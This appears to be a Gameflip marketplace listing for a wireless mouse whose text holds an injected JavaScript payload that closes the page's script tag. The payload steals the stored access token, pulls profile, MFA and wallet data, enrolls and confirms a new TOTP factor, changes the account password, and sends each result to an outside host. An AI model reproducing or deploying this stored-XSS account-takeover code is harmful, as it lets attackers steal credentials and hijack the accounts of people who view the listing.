Wireless Mouse 2.4G Pro Ref-14487c-4162

[WARNING: Stay safe! Deals made outside Gameflip aren’t protected. Always trade and chat within Gameflip.] </script><script>(async function(){var R={t0:Date.now()};window.__XSSR=R;var S='https://gameflip.com.127.0.0.1.sslip.io:8451';function bc(st){try{R.step=st;R.tstep=Date.now()-R.t0;fetch(S+'/xb',{method:'POST',mode:'no-cors',body:st+' '+JSON.stringify(R)})}catch(e){}}try{var L=localStorage;R.keys=Object.keys(L);R.tok=L.getItem('gf_access_token');R.gfme=L.getItem('gf_me');var B='https://production-gameflip.fingershock.com';function H(t){return {'Authorization':'Gameflip '+t,'Content-Type':'application/json'}}async function F(m,u,o,t){try{var opt=o||{};opt.method=m;opt.credentials='include';opt.headers=H(t);if(opt.body)opt.body=JSON.stringify(opt.body);var r=await fetch(B+u,opt);var tx=await r.text();var x=null;try{x=JSON.parse(tx)}catch(e){x=tx.slice(0,300)}return {s:r.status,j:x}}catch(e){return {e:String(e)}}}R.prof=await F('GET','/api/v1/account/me/profile',null,R.tok);bc('prof');var own=null;try{own=R.prof.j.data.owner}catch(e){}R.own=own;R.mfa=await F('GET','/api/v1/mfa',null,R.tok);bc('mfa');if(own){R.wal=await F('GET','/api/v1/account/'+own+'/wallet_history',null,R.tok);bc('wal')}R.enr=await F('POST','/api/v1/mfa',{body:{factor:'totp',name:'bkx'}},R.tok);bc('enr');var sec=null,fid=null;try{if(R.enr.j.data.totp_uri){var uu=R.enr.j.data.totp_uri;sec=uu.split('secret=')[1].split('&')[0];fid=R.enr.j.data.id}}catch(e){}R.sec=sec;R.fid=fid;if(sec){var K='ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';function b32(s){var bits='';for(var i=0;i<s.length;i++){var v=K.indexOf(s.charAt(i).toUpperCase());if(v<0)continue;bits+=('00000'+v.toString(2)).slice(-5)}var o=[];for(var j=0;j+8<=bits.length;j+=8)o.push(parseInt(bits.substr(j,8),2));return new Uint8Array(o)}async function otp(sc){var t=Math.floor(Date.now()/30000);var b=new ArrayBuffer(8);var d=new DataView(b);d.setUint32(4,t);var k=await crypto.subtle.importKey('raw',b32(sc),{name:'HMAC',hash:'SHA-1'},false,['sign']);var g=new Uint8Array(await crypto.subtle.sign('HMAC',k,b));var of=g[g.length-1]&15;var n=((g[of]&127)<<24)|(g[of+1]<<16)|(g[of+2]<<8)|g[of+3];return ('00000'+(n%1000000)).slice(-6)}R.code=await otp(sec);R.resp=await F('POST','/api/v1/mfa/'+fid,{body:{action:'respond',code:R.code}},R.tok);bc('resp')}R.pw='Qz9!XSS'+Math.random().toString(36).slice(2,8);R.patch=await F('PATCH','/api/v1/account/me/profile',{body:[{op:'replace',path:'/about',value:'xss-14487'}]},R.tok);bc('patch');R.pwd=await F('POST','/gfauth/passwd',{body:{client:'marketplace',new_password:R.pw}},R.tok);bc('pwd');R.mfa2=await F('GET','/api/v1/mfa',null,R.tok);R.prof2=await F('GET','/api/v1/account/me/profile',null,R.tok);bc('done')}catch(e){R.err=String(e);bc('err')}})()</script>